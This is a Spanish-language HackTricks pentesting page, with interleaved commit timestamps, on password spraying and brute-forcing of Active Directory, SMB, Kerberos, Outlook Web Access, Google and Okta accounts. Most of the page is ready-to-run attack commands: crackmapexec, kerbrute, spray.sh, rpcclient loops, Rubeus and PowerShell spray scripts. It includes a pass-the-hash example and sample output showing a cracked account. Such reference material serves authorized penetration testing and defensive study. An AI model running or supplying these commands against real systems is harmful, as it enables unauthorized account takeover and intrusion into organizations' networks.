2023-06-03 01:46:23 +00:00
## **Password Spraying (Rociado de Contraseñas)**
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
Una vez que hayas encontrado varios **nombres de usuario válidos** , puedes probar las contraseñas más **comunes** (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.\
Por **defecto** , la **longitud mínima** de la **contraseña** es **7** .
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
Las listas de nombres de usuario comunes también pueden ser útiles: [https://github.com/insidetrust/statistically-likely-usernames ](https://github.com/insidetrust/statistically-likely-usernames )
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
Ten en cuenta que **podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas** (por defecto, más de 10).
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
### Obtener la política de contraseñas
2022-10-05 21:51:12 +00:00
2023-06-03 01:46:23 +00:00
Si tienes algunas credenciales de usuario o una shell como usuario de dominio, puedes **obtener la política de contraseñas con** :
2022-10-05 21:51:12 +00:00
```bash
# From Linux
crackmapexec < IP > -u 'user' -p 'password' --pass-pol
2022-10-04 21:36:29 +00:00
2023-03-20 15:41:00 +00:00
enum4linux -u 'username' -p 'password' -P < IP >
2022-10-05 21:51:12 +00:00
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
2023-06-03 01:46:23 +00:00
### Explotación desde Linux (o cualquier sistema)
2022-10-04 21:36:29 +00:00
2023-06-03 01:46:23 +00:00
* Usando **crackmapexec:**
2020-07-15 15:43:14 +00:00
```bash
crackmapexec smb < IP > -u users.txt -p passwords.txt
2022-10-05 21:51:12 +00:00
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
2023-06-03 01:46:23 +00:00
* Usando [**kerbrute** ](https://github.com/ropnop/kerbrute ) ** ** (Go)
2022-10-05 21:51:12 +00:00
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
2023-06-03 01:46:23 +00:00
* [_**spray**_ ](https://github.com/Greenwolf/Spray ) _**(puedes indicar el número de intentos para evitar bloqueos):**_
2022-10-05 21:51:12 +00:00
```bash
spray.sh -smb < targetIP > < usernameList > < passwordList > < AttemptsPerLockoutPeriod > < LockoutPeriodInMinutes > < DOMAIN >
2022-10-04 23:18:19 +00:00
```
2023-06-03 01:46:23 +00:00
* Usando [**kerbrute** ](https://github.com/TarlogicSecurity/kerbrute ) (python) - NO RECOMENDADO A VECES NO FUNCIONA
2020-07-15 15:43:14 +00:00
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
2023-06-03 01:46:23 +00:00
* Con el módulo `scanner/smb/smb_login` de **Metasploit** :
2020-07-15 15:43:14 +00:00
2022-10-05 21:51:12 +00:00
![](< .. / . . / . gitbook / assets / image ( 132 ) ( 1 ) . png > )
2023-06-03 01:46:23 +00:00
* Usando **rpcclient** :
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
2020-07-15 15:43:14 +00:00
```
2023-06-03 01:46:23 +00:00
#### Desde Windows
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
* Con [Rubeus ](https://github.com/Zer1t0/Rubeus ) versión con módulo de fuerza bruta:
2020-07-15 15:43:14 +00:00
```bash
# with a list of users
.\Rubeus.exe brute /users:< users_file > /passwords:< passwords_file > /domain:< domain_name > /outfile:< output_file >
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:< passwords_file > /outfile:< output_file >
```
2023-06-03 01:46:23 +00:00
* Con [**Invoke-DomainPasswordSpray** ](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1 ) (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos según ella):
2022-10-05 21:51:12 +00:00
```powershell
2020-07-15 15:43:14 +00:00
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
2023-06-03 01:46:23 +00:00
* Con **Invoke-SprayEmptyPassword.ps1**
2022-10-05 21:51:12 +00:00
```
Invoke-SprayEmptyPassword
2020-07-15 15:43:14 +00:00
```
2022-08-10 14:32:58 +00:00
## Outlook Web Access
2020-12-21 10:44:06 +00:00
2023-06-03 01:46:23 +00:00
Existen múltiples herramientas para realizar ataques de p**assword spraying** en Outlook.
2020-12-21 10:44:06 +00:00
2023-06-03 01:46:23 +00:00
* Con [MSF Owa\_login ](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/ )
* Con [MSF Owa\_ews\_login ](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/ )
* Con [Ruler ](https://github.com/sensepost/ruler ) (¡confiable!)
* Con [DomainPasswordSpray ](https://github.com/dafthack/DomainPasswordSpray ) (Powershell)
* Con [MailSniper ](https://github.com/dafthack/MailSniper ) (Powershell)
2020-12-21 10:44:06 +00:00
2023-06-03 01:46:23 +00:00
Para utilizar cualquiera de estas herramientas, se necesita una lista de usuarios y una contraseña / una pequeña lista de contraseñas para realizar el ataque.
2020-12-21 17:07:56 +00:00
```bash
2022-10-05 21:51:12 +00:00
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
2020-12-21 17:07:56 +00:00
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
2020-12-21 10:44:06 +00:00
```
2022-10-05 21:51:12 +00:00
## Google
* [https://github.com/ustayready/CredKing/blob/master/credking.py ](https://github.com/ustayready/CredKing/blob/master/credking.py )
## Okta
* [https://github.com/ustayready/CredKing/blob/master/credking.py ](https://github.com/ustayready/CredKing/blob/master/credking.py )
* [https://github.com/Rhynorater/Okta-Password-Sprayer ](https://github.com/Rhynorater/Okta-Password-Sprayer )
* [https://github.com/knavesec/CredMaster ](https://github.com/knavesec/CredMaster )
2023-06-03 01:46:23 +00:00
## Referencias
2020-07-15 15:43:14 +00:00
2020-12-21 17:07:56 +00:00
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying )
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell ](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell )
* www.blackhillsinfosec.com/?p=5296
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying ](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying )
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
* ¿Trabajas en una **empresa de ciberseguridad** ? ¿Quieres ver tu **empresa anunciada en HackTricks** ? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF** ? ¡Consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
* Descubre [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), nuestra colección exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Obtén el [**swag oficial de PEASS y HackTricks** ](https://peass.creator-spring.com )
* **Únete al** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**grupo de Discord** ](https://discord.gg/hRep4RUj7f ) o al [**grupo de telegram** ](https://t.me/peass ) o **sígueme** en **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks ](https://github.com/carlospolop/hacktricks ) y al [repositorio de hacktricks-cloud ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >